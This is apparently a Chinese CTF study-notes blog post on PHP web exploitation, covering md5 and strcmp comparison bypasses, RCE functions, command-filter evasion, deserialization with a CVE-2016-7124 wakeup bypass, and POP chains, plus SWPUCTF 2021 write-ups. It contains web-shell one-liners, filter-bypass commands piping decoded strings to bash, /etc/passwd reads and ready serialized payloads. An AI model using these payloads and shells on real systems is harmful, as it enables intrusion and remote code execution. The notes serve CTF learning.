web基础2:PHP部分
一些推荐文章:PHP 入门基础漏洞 | Drunkbaby’s Blog (drun1baby.top)
传参
web传参有GET和POST两种请求方法向服务器提交数据。
GET传参
GET传参直接在网址后/?
后接参数即可,例如传入一个a=1的参数就可以127.0.0.1/?a=1
。
多个参数之间加&
连接符。
POST传参
POST传参可以使用hackbar工具。
最新版的hackbar已经开始收费了,网上随便找一个旧版的装上完事。
先Load URL之后勾选Post data,在弹出的新框中输入要POST传入的参数即可。输入之后点Execute即可。
练习
题目来自[SWPUCTF 2021 新生赛]jicao:
url里GET传参,传完再hackbar用POST传参,比较简单:
PHP基本函数和操作
PHP中的
->
是一种操作符,用来访问对象的属性或者方法。如果这里我们有一个
$obj
对象,且这个对象有一个名字为property
的属性和一个名为method
的方法,可以使用$obj->property;
访问属性,使用$obj->method();
来调用方法。
file_get_contents()
:读取文件的全部内容到一个字符串。例如:$content = file_get_contents("test.txt");
var_dump()
:输出返回值。
isset()
:用于检测变量是否已经设置并且非NULL。
如果在
isset()
中一次传入多个参数,例如isset($a, $b)
,那么只有在全部参数都被设置时才返回True。
include()
: 导入并执行指定的 PHP 文件。例如:include('config.php');
会导入并执行 config.php
文件中的代码。
extract()
:用于从数组中将变量导出,例如extract($_GET);
即可得到我们GET请求中传入的一些变量。
trim()
:移除字符串两侧的字符:
1 |
|
ereg/preg_match()
:正则表达式匹配。
eval()
:识别并执行字符串中的PHP代码。
assert()
:调试检查一个条件是否为true。
strcmp()
:用法:
1 | strcmp(str1, str2) |
system(), shell_exec(), exec(), passthru()
:执行外部程序或者系统命令。如system("ls")
执行ls
命令并且输出。
unserialize()
:将一个已序列化的字符串转换回PHP值。如$array = unserialize($serializedStr);
可以将一个序列化的数组字符串转换为数组。
preg_replace()
:执行正则表达式搜索和替换。如:$newStr = preg_replace("/apple/i", "orange", $str);
会将 $str
中的 “apple” 替换为 “orange”。
create_function()
:创建匿名lambda函数。如:$func = create_function('$x', 'return $x + 1;');
error_reporting(0);
:PHP 将不会报告任何级别的错误。
show_source(__FILE__);
:显示文件的源代码。
md5碰撞和强弱比较
之前已经简单了解了强比较===
和弱比较==
,先简单提一下md5的几个重要性质:
md5不可逆,加密简单还原困难;由于密文空间有限,存在两串不同的字符串加密出来的内容相同。
php进行字符串和数字的弱比较时会进行如下步骤:
先看字符串开头是否为数字,如果是数字的话截止到连续数字后的最后一个数字,作为值去和数字比较,所以可以认为'123abc123'==123
为True。
如果开头不是数字的话,直接判定为False,也就是0,有
'abc123'==0
为True。
php进行字符串和字符串的弱比较时直接比较字符串是不是相同的,有'123a'=='123'
为false,但如果字符串能被解析为科学计数法,且为0e...
的形式(也就是0的多少次方,相当于0),那么比较它们的数值,是相等的。
有0e12345==0e3456
为True。
这里需要注意0e
后不能存在字母,因为这样就构不成科学计数法,还是判定为false。
一些md5值为0e
的字符串和对应的值:
1 | s878926199a |
题目中常见的形式就是如下形式:
1 |
|
当s1和s2不相等,但是他们的md5值相等,可以有两种绕过:
科学计数法绕过
随便找两组能构成0e开头的组成payload即可:
1 | /?s1=QNKCDZO&s2=240610708 |
数组trick
在比较md5时,如果我们传入了一个数组
[]
,md5无法加密数组,所以返回值为Null。可以利用这个特性来进行弱比较。
数组绕过:
1 | /?s1[]=1&s2[]=2 |
strcmp绕过
前面简单提了一嘴strcmp的用法:
1 | strcmp(str1, str2) |
对于某代码:
1 |
|
这里我们需要使得strcmp的返回值为0,在定义函数中发现当str1和str2两个参数相等的时候能返回0。
但是实际中我们并不知道FLAG的值,所以还有一种方法,就是使得strcmp()
返回值NULL,返回NULL就是返回0,即可得到flag。
这里有一个payload:
1 | ?flag[]=0 |
?flag[]=0
指传入一个flag数组,数组无法和字符串比较,返回NULL,得到flag。
extract覆盖变量绕过
例如如下源码:
1 |
|
发现$shiyan
是extract($_GET);
我们传入的参数,要让$shiyan==$content
,注意到$content
来自于file_get_contents($flag)
,但是在extract
中我们可以二次传入一个$flag
变量,使得查找不到其对应的文件,使得$content
为空,再传入一个空的$shiyan
即可:
1 | /?flag=123&shiyan= |
trim过滤绕过
trim如果不指定第二个参数,那么将自动去除:
0x20(空格)
0x09(制表符\t
)
0x0A(换行符\n
)
0x0D(回车符\r
)
0x00(空字节符\0
)
0x0B(垂直制表符\x0B
)
但是还剩余一个%0c(\f
)没有过滤,可以进行绕过。
RCE远程命令执行
相关函数
命令执行
system("whoami");
,passthru("whoami")
,shell_exec("whoami")
:执行命令,有回显。
注意到反引号也是一种函数操作,等同于
shell_exec
,当shell_exec
被禁用,那么反引号也不能用:
1
2
3
echo `whoami`;
echo exec("whoami");
:执行命令,无回显,需要echo。
popen()
需要两个参数:
1 | popen( 'whoami >> c:/1.txt', 'r' ); |
proc_open()
相比起popen,可以提供双向的通道:
1 |
|
代码注入
默认以下代码的菜刀连接密码全部为cmd。
eval()
:可以将参数内容转换为php代码并执行,例如:
1 | eval($_POST['cmd']); @ |
assert()
:不需要分号结尾:
1 | assert($_POST['cmd']) @ |
preg_replace()
:
这个函数将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用
/e
修饰符,则存在代码执行漏洞。
e
标志告诉preg_replace()
函数将替换字符串视为一个返回字符串的 PHP 代码片段。
1 | //preg_replace('正则规则','替换字符','目标字符') |
create_function()
:创建匿名函数。
1 | $func =create_function('',$_POST['cmd']); |
绕过方式
在远程代码执行中,很多时候会通过一些手段阻止我们,需要一些绕过方式:
空格绕过:
1 | $IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab) |
命令执行函数system()绕过:
1 | system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 |
同样,其他函数也可以用这些进行绕过。
代码执行函数绕过:
1 | eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 |
命令连接符:
cmd1 | cmd2
只执行cmd2。
cmd1 || cmd2
只有当cmd1执行失败后,cmd2才被执行。
cmd1 & cmd2
先执行cmd1,不管是否成功,都会执行cmd2。
cmd1 && cmd2
先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2。
在Linux下,还支持分号,cmd1;cmd2
按顺序依次执行,先执行cmd1再执行cmd2。
正则匹配绕过:
对于命令cat /etc/passwd
,绕过cat
:
利用变量:
1 | a=c;b=a;c=t; |
利用base编码:
1 | echo 'Y2F0wqAK' | base64 -d` /etc/passwd |
利用hex:
1 | echo "636174202F6574632F706173737764" | xxd -r -p | bash |
利用八进制绕过(绕过ls
):
1 | $(printf "\154\163") |
利用16进制编码:"\x73\x79\x73\x74\x65\x6d"
(cat /etc/passwd
)
过滤关键字绕过:
替代:
1 | more:一页一页的显示档案内容 |
转义:
1 | ca\t /fl\ag |
此外,转义符还有
\n\r\t\v\a\b\f\e
。
PHP反序列化
序列化和反序列化是两种数据处理方式。
序列化 是将 PHP 对象转换为字符串的过程,可以使用
serialize()
函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。反序列化 是将序列化后的字符串转换回 PHP 对象的过程,可以使用
unserialize()
函数来实现。该函数会将序列化的字符串解码,并将其转换回原始的 PHP 对象。序列化的目的是方便数据的存储,在 PHP 中,他们常被用到缓存、session、cookie 等地方。
数组反序列化
print_r
用于打印数组或对象的结构,它以一种更易读的方式展示数组或对象的内部结构。
对于某数组:
1 |
|
对其进行序列化:
1 |
|
参数输出:
a:3:
中的a表示这是一个数组,后面的值3表示这个数组中有3个元素。
i:0;
表示这是数组的第一个元素,索引为0。
s:5:
表示这是一个长度为5的字符串,后接实际内容。
剩下的同理。
对象反序列化
1 |
|
O
表示Object。
"User":1:
表示这个User对象有一个属性,并列出。
稍作修改:
1 |
|
可以逐步拆分开来,即可理解。
当变量中带有了其他属性,例如protected
等:
1 |
|
得到反序列化内容:
O:4:"User":3:{s:4:"name";a:2:{i:0;s:4:"John";i:1;s:3:"Doe";}
s:8:" * email";s:13:"admin@666.com";
s:17:" User phoneNumber";s:6:"114514";}
有以下特点:
如果是 protected
变量,则会在变量名前加上\x00*\x00
空字节。
如果是 private
变量,则会在变量名前加上\x00类名\x00
。
实际上,我们在控制台输出的时候全部变为了不可见字符,一个方法是先编码后输出:echo urlencode($serializedData)
其他标识
积累一下在序列化中常见的一些字母标识:
a
:array数组
b
:bool值
C
:custom object自定义对象
d
:double小数
i
:int整数
O
:Object对象
s
:string字符串
S
:encoded string,类似于bytes型
N
:null值
练习
1 |
|
读完代码基本就知道要干嘛了,构造payload用get传参:/?str=s:7:%22D0g3!!!%22
魔术方法
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用,类似于一个触发器。例如:
假设我们有一个Person类,我们想要动态地处理某些属性,而不是直接定义它们。这可以通过__get()
和__set()
方法实现:
1 | class Person { |
常见方法:
1 | __wakeup() //------ 执行unserialize()时,先会调用这个函数 |
例如:serialize()
函数会检查类中是否存在一个魔术方法 __sleep()
。如果存在,该方法会先被调用,然后才执行序列化操作。其他的魔术方法同理。
CVE-2016-7124实例:wakeup绕过
1 |
|
分析源码可以知道,在__destruct
方法中可以帮助我们进行读取文件内容,需要利用它来读flag.php,需要通过反序列化得到flag.php改file,但是使用反序列化会触发__wakeup()
改回index.php,需要想办法绕过这个魔术方法。
这里用到漏洞CVE-2016-7124,大意是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行:
正常来讲,我们需要构造的序列化对象为O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
(注意protected变量需要加\00*\00
。
为了绕过wakeup,使得对象属性数大于真实的数即可,在我们构造的序列化对象中修改为:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
。
此外,题目还套了一层base64编码,再加上即可。payload:/?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
再来一个例题:[SWPUCTF 2021 新生赛]no_wakeup:
1 |
|
先构造出它的序列化:
1 |
|
修改对象属性个数传参,得到flag:
1 | /?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} |
PHP session反序列化
什么是session?
session是保存在服务器的文本文件。 默认情况下,PHP.ini 中设置的 SESSION 保存方式是 files(
session.save_handler = files
),即使用读写文件的方式保存 SESSION 数据,而 SESSION 文件保存的目录由session.save_path
指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据都是序列化后的 SESSION 数据了。
PHP.ini中的几个参数:
session.save_path
:设置session的存储路径。session.save_handler
:设定用户自定义存储函数。session.auto_start
:指定会话模块是否在请求开始时启动一个会话。session.serialize_handler
:定义用来序列化/反序列化的处理器名字,默认使用php引擎(也表示为files,表示为键名+竖线+serialize反序列处理的值),此外,还有两种引擎:
php_binary:键名长度对应ASCII字符+键名+经过serialize反序列处理的值
php_serialize:serialize反序列处理数组
注意php大于5.5.4的版本中默认使用php_serialize规则。
存储机制
我们首先可以使用phpinfo()
查看我们的php信息:
1 | session.save_handler => files => files |
举例:
1 |
|
通过修改不同的引擎,可以得到三种不同的输出,查找文件可以分别找到这三种session:
1 | name|s:8:"twosmi1e"; |
当序列化和反序列化使用了不同的引擎,可以利用引擎之间的差异来产生序列化注入攻击。
POP链
POP是面向属性编程(Property-Oriented Programing)的意思,用于构造特定调用链,对应的在二进制中有ROP面向返回编程(Return-Oriented Programing)。
核心内容就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
POP链在构造时需要牵扯到PHP的魔法函数,这里再回顾一遍:
1 | __wakeup() //------ 执行unserialize()时,先会调用这个函数 |
POP链构造需要找到头和尾,即用户能传入参数的地方和最终执行函数方法的地方,然后进行反推,一步步找到能触发上一步的地方,直到找到传参处,就能得到一条完整的POP链了。
在CTF中,尾部一般是get flag的方法,头部一般就是GET或POST传参。
通常,构造POP链的一个比较普遍的步骤是:
复制源代码到本地;
注释掉(删除)和属性无关的内容;
根据题目需要,给属性赋值;
生成反序列化数据,通常需要url编码;
传递数据到服务器。
举个例子,[SWPUCTF 2021 新生赛]pop:
1 |
|
根据方法,我们首先先注释掉所有和属性无关的内容:
1 |
|
接下来需要给属性赋值,从后往前看:
w44m里有一个getflag方法可以得到flag,需要最终调用到这个方法,这就是我们链子的尾部。
如何去调用这个方法?
注意到在w33m里有一个$this->w00m->{$this->w22m}();
,这个写法不难看出会调用函数,这里的$w00m
是w33m里面的一个属性,可以给它赋为w44m类对象,然后给w22m赋一个getflag函数即可,即为实现$this->w00m->Getflag();
。
那么又该怎么调用w33m类?
__toString()
这个方法在对象被当做字符串使用时被调用,w33m刚好就有这个方法,w22m里存在一个__destruct()
方法,里面存在一个echo
,它作用的对象就是一个字符串,所以我们创建一个w22m对象,给w22m里的$w00m
赋为w33m类对象,由于存在__destruct()
,它在程序结束前肯定会被调用,echo
字符串刚好又触发了w33m的__toString()
,即调用成功。
以下是根据分析得到的赋值后的结果:
1 |
|
注意带有私有属性的会有不可见字符,最好还是直接url编码一下。
传参,得到flag。
1 | /?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D |
题目复现
easy_md5
1 |
|
题目提到GET传入一个name和POST传入一个password,两个值应该是不同的但是他们的md5值弱比较相等,可以直接传入两个哈希值为0e
的进去比较。
注意在php语法里传入字符串不需要加引号了,直接
name=s214587387a
即可,
不过一个比较容易的方法是用数组去比较:
1 | http://node7.anna.nssctf.cn:27413/?name[]=0 |
easyrce
1 |
|
题目让传入一个叫url的参数,然后可以进行eval,尝试用system()
执行命令,注意这里是php语法,所以语句末尾还需要加分号。
1 | http://node5.anna.nssctf.cn:29173/?url=system(%27ls%20/%27); |
发现根目录下存在一个flllllaaaaaaggggggg文件,直接cat出来:
1 | http://node5.anna.nssctf.cn:29173/?url=system(%27cat%20/flllllaaaaaaggggggg%27); |
ez_unserialize
取自SWPUCTF 2021 新生赛:
打开发现啥也没有,在F12里发现了一个注释:
1 | <!-- |
这个提示摆着是要看robots.txt
:
发现存在一个隐藏的php文件,查看得到源码:
1 |
|
这是一个反序列化问题,需要传入一个admin=admin&passwd=ctf
这么个序列化内容。注意到这题存在一个__construct
在对象被创建时调用这个方法,跟unserialize()
没有关系,__destruct()
在对象被销毁(内存清除前)调用这个方法。
所以直接传入反序列化内容即可得到flag:
1 |
|
1 | /?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;} |
babyrce
取自SWPUCTF 2021 新生赛
1 |
|
需要设置一个Cookie,设置cookie有很多方法,现在列举一下:
hackbar提供了直接传入cookie的功能:
或者Burp抓包自己补一个cookie进去:
1 | GET / |
再或者在F12里手动更改cookie:
发现得到了一个新的php,访问一下:
1 |
|
发现执行了一个$a = shell_exec($ip);
,我们可以传入一个url参数,且为一个命令好让它执行。这里的preg_match
就是一个过滤,会过滤掉里面的/ /
:
过滤空格,可以使用${IFS}
,继续/?url=ls${IFS}/
:
发现存在flag文件:
1 | bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var |
直接cat出来:
1 | /?url=cat${IFS}/flllllaaaaaaggggggg |
finalrce
选自[SWPUCTF 2021 新生赛]finalrce:
1 |
|
题目对很多命令都做了过滤:
1 | preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url) |
在这里的正则中,斜杠
/
通常用来包围整个正则表达式,在 PHP 中使用preg_match
和其他正则表达式函数时是必需的。结尾的
/i
用来不区分大小写匹配。
这里可以使用转义符/s
进行绕过:
1 | /?url=l\s /|tee 1.txt; |
发现没有返回值,所以这里用到tee
命令,用来读取得到的内容并写入文件中。
接下来直接访问/1.txt
即可看到我们的输出:
1 | a_here_is_a_f1ag |
尝试得到flag,这里由于cat
和la
都被过滤了,这里用到转义符\t,\a
:
1 | /?url=ca\t /flllll\aaaaaaggggggg|tee 2.txt; |